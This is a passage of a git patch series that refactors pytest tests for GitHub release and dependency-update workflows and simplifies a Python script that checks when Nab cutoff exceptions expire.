True, id="beta-stage"), + pytest.param("v1.2.3-beta.1", "verify", {"channel": "beta", "publish": ""}, False, id="beta-verify"), ], ) def test_compares_archive_and_derives_channel( @@ -51,8 +48,7 @@ def test_compares_archive_and_derives_channel( signed_archive: tuple[Path, str], version: str, mode: str, - channel: str, - publish: str, + expected: dict[str, str], github_output: bool, ) -> None: archive, digest = signed_archive @@ -71,7 +67,7 @@ def test_compares_archive_and_derives_channel( PATH=f"{release_creator}:{os.environ['PATH']}", ) assert result.returncode == 0, result.stderr - assert outputs == {"channel": channel, "publish": publish} + assert outputs == expected arguments = (tmp_path / "release-creator.args").read_text().splitlines() assert arguments[:8] == [ "marketplace", diff --git a/tests/test_conftest.py b/tests/test_conftest.py index 2372ff9..5c26a3e 100644 --- a/tests/test_conftest.py +++ b/tests/test_conftest.py @@ -1,9 +1,7 @@ -from __future__ import annotations - from pathlib import Path import pytest -from conftest import load_yaml, mapping, run, steps, text +from conftest import load_yaml, mapping, run, run_workflow_step, steps, text def test_run_reports_failed_command(tmp_path: Path) -> None: @@ -11,6 +9,36 @@ def test_run_reports_failed_command(tmp_path: Path) -> None: run(tmp_path, "false") +def test_run_workflow_step_expands_values_into_declared_env(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result, _ = run_workflow_step( + "jetbrains-plugin-check.yaml", + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={"inputs.plugin-version": "v1.2.3"}, + env={}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\n" + + +def test_run_workflow_step_skips_expansion_of_overridden_variables(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result, _ = run_workflow_step( + "jetbrains-plugin-check.yaml", + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PLUGIN_VERSION": "v1.2.3"}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\n" + + def test_load_yaml_rejects_a_top_level_sequence(tmp_path: Path) -> None: path = tmp_path / "workflow.yaml" path.write_text("- one\n") @@ -31,5 +59,5 @@ def test_text_rejects_a_sequence() -> None: def test_steps_rejects_a_job_without_a_step_list(tmp_path: Path) -> None: path = tmp_path / "workflow.yaml" path.write_text("jobs:\n build:\n steps: none\n") - with pytest.raises(TypeError, match="has no step list"): + with pytest.raises(TypeError, match="expected a step list"): steps(load_yaml(path), "build") diff --git a/tests/update_python_dependencies/test_update.py b/tests/update_python_dependencies/test_update.py index 80163ed..a75d980 100644 --- a/tests/update_python_dependencies/test_update.py +++ b/tests/update_python_dependencies/test_update.py @@ -1,24 +1,18 @@ -from __future__ import annotations - import os import re import stat from pathlib import Path -from typing import TYPE_CHECKING +from typing import TYPE_CHECKING, Final import pytest -import yaml -from conftest import WORKFLOWS, run, run_workflow_step, workflow_env +from conftest import WORKFLOWS, JsonObject, JsonValue, at, load_yaml, run, run_workflow_step, workflow_env if TYPE_CHECKING: import subprocess -WORKFLOW = "update-python-dependencies.yaml" -INPUTS = "โš™๏ธ Validate inputs and set the cutoffs" -BUMP = "๐Ÿ“ฆ Bump dependency floors" -PATCH = "๐Ÿ“ Write maintenance patch" -TIMESTAMP = r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z" -DEFAULTS = { +_WORKFLOW: Final[str] = "update-python-dependencies.yaml" +_PATCH: Final[str] = "๐Ÿ“ Write maintenance patch" +_DEFAULTS: Final[dict[str, str]] = { "inputs.allowed-paths": "docs/*.md", "inputs.cooldown": "7 days", "inputs.exclude-newer": "7 days", @@ -30,19 +24,9 @@ } -def validate( - repository: Path, tmp_path: Path, **inputs: str -) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: - values = DEFAULTS | {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} - return run_workflow_step( - WORKFLOW, - "generate", - INPUTS, - cwd=repository, - runner_temp=tmp_path, - values=values, - env={"ALLOWED_EXTRA": values["inputs.allowed-paths"]}, - ) +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) @pytest.fixture @@ -59,17 +43,42 @@ def repository(tmp_path: Path) -> Path: return repo -def test_defaults_build_cutoffs_groups_and_allowed_paths(repository: Path, tmp_path: Path) -> None: - result, outputs = validate(repository, tmp_path, expedite="release-creator\nnab", files="pyproject.toml tox.toml\n") +def test_cutoff_is_a_utc_timestamp(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path) + assert result.returncode == 0, result.stderr + assert re.fullmatch(r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z", outputs["cutoff"]) + + +def validate( + repository: Path, tmp_path: Path, **inputs: str +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + values = _DEFAULTS | {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} + return run_workflow_step( + _WORKFLOW, + "generate", + "โš™๏ธ Validate inputs and set the cutoffs", + cwd=repository, + runner_temp=tmp_path, + values=values, + env={"ALLOWED_EXTRA": values["inputs.allowed-paths"]}, + ) + + +def test_allowed_paths_extend_the_lock_and_config_files(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path) assert result.returncode == 0, result.stderr - assert re.fullmatch(TIMESTAMP, outputs["cutoff"]) assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml", "docs/*.md"] + + +def test_validated_inputs_are_handed_to_later_steps(repository: Path, tmp_path: Path) -> None: + result, _ = validate(repository, tmp_path, expedite="release-creator\nnab", files="pyproject.toml tox.toml\n") + assert result.returncode == 0, result.stderr assert (tmp_path / "expedite").read_text() == "release-creator\nnab\n" assert (tmp_path / "file-groups").read_text() == "pyproject.toml tox.toml\n" assert (tmp_path / "fresh-groups").read_text() == "" -def test_library_keeps_fresh_groups_and_app_keeps_none(repository: Path, tmp_path: Path) -> None: +def test_library_keeps_fresh_groups(repository: Path, tmp_path: Path) -> None: result, _ = validate(repository, tmp_path, kind="library", fresh_groups="project\ntest") assert result.returncode == 0, result.stderr assert (tmp_path / "fresh-groups").read_text() == "project\ntest\n" @@ -82,7 +91,7 @@ def test_zero_days_turns_the_bump_cooldown_off(repository: Path, tmp_path: Path) def test_empty_extra_paths_add_no_pattern(repository: Path, tmp_path: Path) -> None: - result, outputs = validate(repository, tmp_path, **{"allowed-paths": ""}) + result, outputs = validate(repository, tmp_path, allowed_paths="") assert result.returncode == 0, result.stderr assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml"] @@ -108,11 +117,20 @@ def test_rejects_invalid_inputs(repository: Path, tmp_path: Path, options: dict[ assert message in result.stderr -def fake_uvx(bin_dir: Path) -> Path: - script = bin_dir / "uvx" - script.write_text('#!/usr/bin/env bash\n(IFS=$\'\\t\'; echo "$*") >>"$UVX_LOG"\n') - script.chmod(script.stat().st_mode | stat.S_IXUSR) - return bin_dir / "uvx.log" +def test_bump_runs_each_group_with_expedite(repository: Path, tmp_path: Path) -> None: + result, outputs = validate( + repository, tmp_path, expedite="release-creator", files="pyproject.toml tox.toml\ndocs/a.toml" + ) + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs) + assert result.returncode == 0, result.stderr + prefix = ["--exclude-newer", "7 days", "bump-deps-index>=1.19", "--exclude-newer", outputs["cutoff"]] + assert calls == [ + "\t".join( + [*prefix, "--exclude-newer-package", "release-creator=false", "--file", "pyproject.toml", "tox.toml"] + ), + "\t".join([*prefix, "--exclude-newer-package", "release-creator=false", "--file", "docs/a.toml"]), + ] def bump( @@ -121,34 +139,25 @@ def bump( bin_dir = tmp_path / "bin" bin_dir.mkdir(exist_ok=True) log = fake_uvx(bin_dir) - values = DEFAULTS | {"steps.inputs.outputs.cutoff": outputs["cutoff"]} + values = _DEFAULTS | {"steps.inputs.outputs.cutoff": outputs["cutoff"]} values |= {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} result, _ = run_workflow_step( - WORKFLOW, + _WORKFLOW, "generate", - BUMP, + "๐Ÿ“ฆ Bump dependency floors", cwd=repository, runner_temp=tmp_path, values=values, env={"PATH": f"{bin_dir}{os.pathsep}{os.environ['PATH']}", "UVX_LOG": str(log)}, ) - return result, log.read_text().splitlines() if log.exists() else [] + return result, (log.read_text().splitlines() if log.exists() else []) -def test_bump_runs_each_group_with_expedite(repository: Path, tmp_path: Path) -> None: - result, outputs = validate( - repository, tmp_path, expedite="release-creator", files="pyproject.toml tox.toml\ndocs/a.toml" - ) - assert result.returncode == 0, result.stderr - result, calls = bump(repository, tmp_path, outputs) - assert result.returncode == 0, result.stderr - prefix = ["--exclude-newer", "7 days", "bump-deps-index>=1.19", "--exclude-newer", outputs["cutoff"]] - assert calls == [ - "\t".join( - [*prefix, "--exclude-newer-package", "release-creator=false", "--file", "pyproject.toml", "tox.toml"] - ), - "\t".join([*prefix, "--exclude-newer-package", "release-creator=false", "--file", "docs/a.toml"]), - ] +def fake_uvx(bin_dir: Path) -> Path: + script = bin_dir / "uvx" + script.write_text('#!/usr/bin/env bash\n(IFS=$\'\\t\'; echo "$*") >>"$UVX_LOG"\n') + script.chmod(script.stat().st_mode | stat.S_IXUSR) + return bin_dir / "uvx.log" def test_tool_install_takes_the_exclude_newer_inputs(repository: Path, tmp_path: Path) -> None: @@ -202,12 +211,12 @@ def test_bump_without_cooldown_passes_no_cutoff(repository: Path, tmp_path: Path def test_bump_uses_the_workflow_requirement_constant() -> None: - assert workflow_env(WORKFLOW) == {"BUMP_DEPS_INDEX": "bump-deps-index>=1.19"} + assert workflow_env(_WORKFLOW) == {"BUMP_DEPS_INDEX": "bump-deps-index>=1.19"} def test_patch_step_reports_no_change(repository: Path, tmp_path: Path) -> None: result, outputs = run_workflow_step( - WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=DEFAULTS + _WORKFLOW, "generate", _PATCH, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} ) assert result.returncode == 0, result.stderr assert outputs == {"changed": "false"} @@ -219,7 +228,7 @@ def test_patch_step_writes_every_change_including_new_files(repository: Path, tm (repository / "docs").mkdir() (repository / "docs/new.md").write_text("New.\n") result, outputs = run_workflow_step( - WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=DEFAULTS + _WORKFLOW, "generate", _PATCH, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} ) assert result.returncode == 0, result.stderr assert outputs == {"changed": "true"} @@ -228,19 +237,44 @@ def test_patch_step_writes_every_change_including_new_files(repository: Path, tm assert "diff --git a/docs/new.md b/docs/new.md" in patch -def test_generate_is_read_only_and_hands_off_to_the_writer() -> None: - jobs = yaml.safe_load((WORKFLOWS / WORKFLOW).read_text())["jobs"] - assert jobs["generate"]["permissions"] == {"contents": "read"} - assert jobs["open"]["needs"] == "generate" - assert jobs["open"]["if"] == "needs.generate.outputs.changed == 'true'" - assert jobs["open"]["uses"] == "$/.github/workflows/open-maintenance-pr.yaml" - assert jobs["open"]["secrets"] == {"RELEASE_APP_PRIVATE_KEY": "${{ secrets.RELEASE_APP_PRIVATE_KEY }}"} +def test_generate_job_is_read_only(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "generate", "permissions") == {"contents": "read"} + + +@pytest.mark.parametrize( + ("key", "expected"), + [ + pytest.param("needs", "generate", id="needs"), + pytest.param("if", "needs.generate.outputs.changed == 'true'", id="if"), + pytest.param("uses", "$/.github/workflows/open-maintenance-pr.yaml", id="uses"), + pytest.param( + "secrets", + {"RELEASE_APP_PRIVATE_KEY": "${{ secrets.RELEASE_APP_PRIVATE_KEY }}"}, + id="secrets", + ), + ], +) +def test_open_job_hands_off_from_generate(workflow: JsonObject, key: str, expected: JsonValue) -> None: + assert at(workflow, "jobs", "open", key) == expected + + +def test_external_actions_are_pinned_to_commit_shas() -> None: + workflow_text = (WORKFLOWS / _WORKFLOW).read_text() + unpinned = [ + reference + for reference in re.findall(r"uses: (\S+)", workflow_text) + if not (reference.startswith("$/") or re.search(r"@[0-9a-f]{40}$", reference)) + ] + assert unpinned == [] -def test_uses_are_pinned_or_local_and_no_cargo_or_uv_lock() -> None: - text = (WORKFLOWS / WORKFLOW).read_text() - for reference in re.findall(r"uses: (\S+)", text): - assert reference.startswith("$/") or re.search(r"@[0-9a-f]{40}$", reference), reference - assert "peter-evans" not in text - assert "uv lock" not in text - assert "cargo" not in text +@pytest.mark.parametrize( + "forbidden", + [ + pytest.param("peter-evans", id="peter-evans"), + pytest.param("uv lock", id="uv-lock"), + pytest.param("cargo", id="cargo"), + ], +) +def test_workflow_avoids_forbidden_tools(forbidden: str) -> None: + assert forbidden not in (WORKFLOWS / _WORKFLOW).read_text() diff --git a/tests/upgrade_release_tools/test_upgrade.py b/tests/upgrade_release_tools/test_upgrade.py index b3a7ddd..9c56a6f 100644 --- a/tests/upgrade_release_tools/test_upgrade.py +++ b/tests/upgrade_release_tools/test_upgrade.py @@ -1,29 +1,22 @@ -from __future__ import annotations - import os import subprocess from pathlib import Path +from typing import Final import pytest -import yaml -from conftest import run +from conftest import WORKFLOWS, at, load_yaml, run, step, step_list, steps, text from pytest_httpserver import HTTPServer - -@pytest.fixture(scope="session") -def upgrade_scripts(action_scripts: Path) -> Path: - return action_scripts +ROOT: Final = Path(__file__).resolve().parents[2] @pytest.fixture(scope="session") def publish_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: - source = Path(__file__).resolve().parents[2] scripts = tmp_path_factory.mktemp("publish-steps") - workflow = yaml.safe_load((source / ".github/workflows/upgrade-release-tools.yaml").read_text()) - for step in workflow["jobs"]["publish"]["steps"]: - if "run" in step: - name = step.get("id", step["name"].split(" ", 1)[1]).replace(" ", "-").lower() - (scripts / f"publish-{name}.sh").write_text(step["run"]) + for item in steps(load_yaml(WORKFLOWS / "upgrade-release-tools.yaml"), "publish"): + if "run" in item: + label = text(item.get("id", text(item["name"]).split(" ", 1)[1])).replace(" ", "-").lower() + (scripts / f"publish-{label}.sh").write_text(text(item["run"])) return scripts @@ -47,14 +40,14 @@ def lock_repository(tmp_path: Path) -> Path: return repository -def test_upgrade_emits_patch_for_lock_change(lock_repository: Path, tmp_path: Path, upgrade_scripts: Path) -> None: +def test_upgrade_emits_patch_for_lock_change(lock_repository: Path, tmp_path: Path, action_scripts: Path) -> None: (lock_repository / "pylock.toml").write_text('lock-version = "1.0"\n') run(lock_repository, "git", "add", ".") run(lock_repository, "git", "commit", "-m", "Add lock") (lock_repository / "pylock.toml").write_text((lock_repository / "pylock.toml").read_text() + "\n") result = execute( lock_repository, - refresh_script(upgrade_scripts, "lock"), + refresh_script(action_scripts, "lock"), tmp_path, MODE="refresh", GITHUB_OUTPUT=str(tmp_path / "output"), @@ -87,11 +80,7 @@ def test_upgrade_checks_lock_patch_path( run(lock_repository, "git", "add", ".") run(lock_repository, "git", "commit", "-m", "Add file") (lock_repository / path).write_text("after\n") - patch = run(lock_repository, "git", "diff", "--binary", "--", path).stdout - run(lock_repository, "git", "restore", path) - patch_dir = tmp_path / "release-tools-lock" - patch_dir.mkdir() - (patch_dir / "lock.patch").write_text(patch) + _save_patch(lock_repository, tmp_path, path) result = execute( lock_repository, publish_scripts / "publish-check-artifact-patch-paths.sh", @@ -103,24 +92,21 @@ def test_upgrade_checks_lock_patch_path( assert run(lock_repository, "git", "status", "--porcelain").stdout == "" -@pytest.mark.parametrize("unsafe_mode", ["executable", "symlink"]) +@pytest.mark.parametrize( + "change", + [ + pytest.param("chmod 755 pylock.toml", id="executable"), + pytest.param("rm pylock.toml && ln -s other.txt pylock.toml", id="symlink"), + ], +) def test_upgrade_rejects_unsafe_file_mode( - lock_repository: Path, tmp_path: Path, publish_scripts: Path, unsafe_mode: str + lock_repository: Path, tmp_path: Path, publish_scripts: Path, change: str ) -> None: - target = lock_repository / "pylock.toml" - target.write_text("before\n") + (lock_repository / "pylock.toml").write_text("before\n") run(lock_repository, "git", "add", "pylock.toml") run(lock_repository, "git", "commit", "-m", "Add lock") - if unsafe_mode == "executable": - target.chmod(0o755) - else: - target.unlink() - target.symlink_to("other.txt") - patch = run(lock_repository, "git", "diff", "--binary", "--", "pylock.toml").stdout - run(lock_repository, "git", "restore", "pylock.toml") - patch_dir = tmp_path / "release-tools-lock" - patch_dir.mkdir() - (patch_dir / "lock.patch").write_text(patch) + run(lock_repository, "bash", "-c", change) + _save_patch(lock_repository, tmp_path, "pylock.toml") applied = execute(lock_repository, publish_scripts / "publish-apply-lock-patch.sh", tmp_path) assert applied.returncode == 0, applied.stderr result = execute(lock_repository, publish_scripts / "publish-check-dependency-patch-file-mode.sh", tmp_path) @@ -178,6 +164,22 @@ def test_upgrade_finds_only_own_dependency_pull_request( assert (tmp_path / "output").read_text() == "number=18\n" +def test_upgrade_checks_cutoff_exceptions_before_refreshing_the_lock() -> None: + workflow = load_yaml(WORKFLOWS / "upgrade-release-tools.yaml") + names = [item["name"] for item in steps(workflow, "generate-lock")] + + assert step(workflow, "generate-lock", "๐Ÿ“… Check cutoff exception expiry")["uses"] == "$/check-nab-exceptions" + assert names.index("๐Ÿ“… Check cutoff exception expiry") < names.index("๐Ÿ”’ Refresh release lock") + + +def _save_patch(repository: Path, tmp_path: Path, path: str) -> None: + patch = run(repository, "git", "diff", "--binary", "--", path).stdout + run(repository, "git", "restore", path) + patch_dir = tmp_path / "release-tools-lock" + patch_dir.mkdir() + (patch_dir / "lock.patch").write_text(patch) + + def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) -> subprocess.CompletedProcess[str]: return subprocess.run( ["bash", str(script)], @@ -185,7 +187,7 @@ def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) env=os.environ | { "RUNNER_TEMP": str(tmp_path), - "GITHUB_ACTION_PATH": str(Path(__file__).resolve().parents[2] / "refresh-release-lock"), + "GITHUB_ACTION_PATH": str(ROOT / "refresh-release-lock"), "ADDITIONAL_LOCK": "", "ADDITIONAL_GROUPS": "", "ADDITIONAL_SELECTION": "build-or-groups", @@ -201,18 +203,6 @@ def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) def refresh_script(scripts: Path, name: str) -> Path: - source = Path(__file__).resolve().parents[2] - steps = yaml.safe_load((source / "refresh-release-lock/action.yml").read_text())["runs"]["steps"] - index = next(index for index, step in enumerate(steps) if step.get("id") == name) + action_steps = step_list(at(load_yaml(ROOT / "refresh-release-lock/action.yml"), "runs", "steps")) + index = next(index for index, item in enumerate(action_steps) if item.get("id") == name) return scripts / f"refresh-release-lock-{index}.sh" - - -def test_upgrade_checks_cutoff_exceptions_before_refreshing_the_lock() -> None: - source = Path(__file__).resolve().parents[2] - steps = yaml.safe_load((source / ".github/workflows/upgrade-release-tools.yaml").read_text())["jobs"][ - "generate-lock" - ]["steps"] - names = [step["name"] for step in steps] - - assert steps[names.index("๐Ÿ“… Check cutoff exception expiry")]["uses"] == "$/check-nab-exceptions" - assert names.index("๐Ÿ“… Check cutoff exception expiry") < names.index("๐Ÿ”’ Refresh release lock") diff --git a/tests/validate_release_patch/test_validate.py b/tests/validate_release_patch/test_validate.py index f336e06..3740598 100644 --- a/tests/validate_release_patch/test_validate.py +++ b/tests/validate_release_patch/test_validate.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from pathlib import Path from textwrap import dedent @@ -27,15 +25,6 @@ def test_validate_applies_patch_in_fresh_worktree(repository: Path, tmp_path: Pa assert run(repository, "git", "diff", "--cached", "--name-only").stdout == source_staged -def track_rst_changelog(repository: Path) -> None: - (repository / "CHANGELOG.rst").write_text("Changelog\n=========\n") - project = repository / "pyproject.toml" - project.write_text(project.read_text().replace('filename = "CHANGELOG.md"', 'filename = "CHANGELOG.rst"')) - run(repository, "git", "add", "CHANGELOG.rst", "pyproject.toml") - run(repository, "git", "commit", "-m", "Track RST changelog") - run(repository, "git", "push", "origin", "main") - - @pytest.mark.parametrize( "heading", [ @@ -44,9 +33,8 @@ def track_rst_changelog(repository: Path) -> None: ], ) def test_validate_rst_heading(repository: Path, tmp_path: Path, action_scripts: Path, heading: str) -> None: - changelog = repository / "CHANGELOG.rst" track_rst_changelog(repository) - changelog.write_text( + (repository / "CHANGELOG.rst").write_text( dedent("""\ Changelog ========= @@ -60,12 +48,25 @@ def test_validate_rst_heading(repository: Path, tmp_path: Path, action_scripts: - Add a feature. """).format(heading=heading, underline="=" * len(heading)), ) - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode == 0, result.stderr +def track_rst_changelog(repository: Path) -> None: + (repository / "CHANGELOG.rst").write_text("Changelog\n=========\n") + project = repository / "pyproject.toml" + project.write_text(project.read_text().replace('filename = "CHANGELOG.md"', 'filename = "CHANGELOG.rst"')) + run(repository, "git", "add", "CHANGELOG.rst", "pyproject.toml") + run(repository, "git", "commit", "-m", "Track RST changelog") + run(repository, "git", "push", "origin", "main") + + +def _patch(repository: Path, tmp_path: Path) -> None: + (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) + run(repository, "git", "reset", "--hard", "HEAD") + + def test_validate_key_job_uses_only_checked_patch(repository: Path, tmp_path: Path, action_scripts: Path) -> None: assert action(repository, tmp_path, action_scripts, "prepare-towncrier", version="0.2.0").returncode == 0 run(repository, "git", "reset", "--hard", "HEAD") @@ -105,8 +106,7 @@ def test_validate_rejects_unsupported_fragment_path( path.parent.mkdir(parents=True, exist_ok=True) path.write_text("Unexpected release fragment.\n") run(repository, "git", "add", str(path.relative_to(repository))) - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) run(repository, "git", "clean", "-fd") result = action( repository, @@ -127,8 +127,7 @@ def test_validate_rejects_renamed_fragment_source(repository: Path, tmp_path: Pa run(repository, "git", "push", "origin", "main") run(repository, "git", "mv", str(source.relative_to(repository)), "changelog.d/1.feature.md") (repository / "CHANGELOG.md").write_text("# Changelog\n\n## 0.2.0 (2026-10-22)\n\n- Add a feature.\n") - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action( repository, tmp_path, @@ -140,25 +139,24 @@ def test_validate_rejects_renamed_fragment_source(repository: Path, tmp_path: Pa assert "unexpected release path status" in result.stderr -@pytest.mark.parametrize( - "file_mode", - [pytest.param("executable", id="executable"), pytest.param("symlink", id="symlink")], -) -def test_validate_rejects_unsafe_file_mode( - repository: Path, tmp_path: Path, action_scripts: Path, file_mode: str -) -> None: +def test_validate_rejects_executable_changelog(repository: Path, tmp_path: Path, action_scripts: Path) -> None: assert action(repository, tmp_path, action_scripts, "prepare-towncrier", version="0.2.0").returncode == 0 - if file_mode == "executable": - (repository / "CHANGELOG.md").chmod(0o755) - else: - (repository / "CHANGELOG.md").unlink() - (repository / "CHANGELOG.md").symlink_to("pyproject.toml") - run(repository, "git", "add", "CHANGELOG.md") - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + (repository / "CHANGELOG.md").chmod(0o755) + _patch(repository, tmp_path) result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode != 0 - assert ("unexpected release path" if file_mode == "symlink" else "unexpected release file mode") in result.stderr + assert "unexpected release file mode" in result.stderr + + +def test_validate_rejects_symlinked_changelog(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + assert action(repository, tmp_path, action_scripts, "prepare-towncrier", version="0.2.0").returncode == 0 + (repository / "CHANGELOG.md").unlink() + (repository / "CHANGELOG.md").symlink_to("pyproject.toml") + run(repository, "git", "add", "CHANGELOG.md") + _patch(repository, tmp_path) + result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") + assert result.returncode != 0 + assert "unexpected release path" in result.stderr def test_validate_rejects_nonregular_deleted_fragment(repository: Path, tmp_path: Path, action_scripts: Path) -> None: @@ -169,8 +167,7 @@ def test_validate_rejects_nonregular_deleted_fragment(repository: Path, tmp_path run(repository, "git", "push", "origin", "main") (repository / "CHANGELOG.md").write_text("# Changelog\n\n## 0.2.0 (2026-10-21)\n\n- Add a feature.\n") fragment.unlink() - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action( repository, tmp_path, @@ -184,18 +181,12 @@ def test_validate_rejects_nonregular_deleted_fragment(repository: Path, tmp_path def test_validate_rejects_removed_changelog(repository: Path, tmp_path: Path, action_scripts: Path) -> None: (repository / "CHANGELOG.md").unlink() - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode != 0 assert "unexpected release path" in result.stderr -def _patch(repository: Path, tmp_path: Path) -> None: - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") - - def test_allowlist_accepts_listed_paths_only(repository: Path, tmp_path: Path, action_scripts: Path) -> None: (repository / "pyproject.toml").write_text((repository / "pyproject.toml").read_text() + "\n# changed\n") (repository / "changelog.d/+feature.feature.md").unlink() @@ -224,8 +215,7 @@ def test_allowlist_rejects_unlisted_path(repository: Path, tmp_path: Path, actio def test_allowlist_rejects_executable_mode(repository: Path, tmp_path: Path, action_scripts: Path) -> None: - script = repository / "pyproject.toml" - script.chmod(0o755) + (repository / "pyproject.toml").chmod(0o755) _patch(repository, tmp_path) result = action( repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0", ALLOWED_PATHS="pyproject.toml" From 0106d3e2d55e8091748523082b2e0a485d9aa56e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:19:30 -0800 Subject: [PATCH 27/38] =?UTF-8?q?=E2=99=BB=EF=B8=8F=20refactor(nab):=20sim?= =?UTF-8?q?plify=20the=20cutoff=20checker?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Inline the module-level pattern and parse arguments through a typed Namespace subclass. Output is unchanged. --- tools/check_nab_exceptions.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/tools/check_nab_exceptions.py b/tools/check_nab_exceptions.py index b92a5ab..e2fb994 100644 --- a/tools/check_nab_exceptions.py +++ b/tools/check_nab_exceptions.py @@ -1,22 +1,17 @@ """Fail when a Nab cutoff exception has no expiry comment or has passed its expiry.""" -from __future__ import annotations - import argparse import re import sys import tomllib from datetime import UTC, date, datetime from pathlib import Path -from typing import Any, Final - -_EXPIRY: Final = re.compile(r"#\s*expires\s+(\d{4}-\d{2}-\d{2})") def main() -> None: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("paths", nargs="+", type=Path) - paths = parser.parse_args().paths + paths = parser.parse_args(namespace=_Options()).paths today = datetime.now(UTC).date() try: problems = [problem for path in paths for problem in _problems(path, today)] @@ -29,17 +24,21 @@ def main() -> None: sys.exit(1) +class _Options(argparse.Namespace): + paths: list[Path] + + def _problems(path: Path, today: date) -> list[str]: text = path.read_text(encoding="utf-8") document = tomllib.loads(text) - config: dict[str, Any] = document.get("tool", {}).get("nab", {}) if path.name == "pyproject.toml" else document - lines = text.splitlines() + config = document.get("tool", {}).get("nab", {}) if path.name == "pyproject.toml" else document problems = [ f"{path}: [[package-rules]] {rule.get('match')} sets uploaded-prior-to, which expiry is not checked for;" " move it to a packages. table" for rule in config.get("package-rules", []) if "uploaded-prior-to" in rule ] + lines = text.splitlines() for name, body in config.get("packages", {}).items(): if "uploaded-prior-to" in body: problems.extend(_exception_problems(lines, path, name, today)) @@ -52,7 +51,7 @@ def _exception_problems(lines: list[str], path: Path, name: str, today: date) -> if start is None: return [f"{where} is not a table or dotted key that the expiry check can locate"] above = lines[start - 1] if start else "" - if (match := _EXPIRY.fullmatch(above.strip())) is None: + if (match := re.fullmatch(r"#\s*expires\s+(\d{4}-\d{2}-\d{2})", above.strip())) is None: return [f"{where} uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it"] try: expires = date.fromisoformat(match[1]) From 83fe55dcad9f949debaf2ea40c76d14316456488 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:19:30 -0800 Subject: [PATCH 28/38] =?UTF-8?q?=F0=9F=93=9D=20docs:=20align=20README,=20?= =?UTF-8?q?threat=20model=20and=20fragments?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Document the shared workflows and their gates, correct the Validate a Python release example, and rename the allowed-paths fragment to a feature because it adds an optional input. --- .github/THREAT_MODEL.md | 4 +- README.md | 1703 ++++++++--------- changelog.d/+allowed-paths.change.md | 3 - changelog.d/+allowed-paths.feature.md | 3 + changelog.d/+build-maturin-wheels.feature.md | 7 +- .../+check-nab-exceptions-action.feature.md | 3 +- changelog.d/+check-workflow.feature.md | 5 +- changelog.d/+codeql-workflow.feature.md | 4 +- .../+github-release-workflow.feature.md | 5 +- 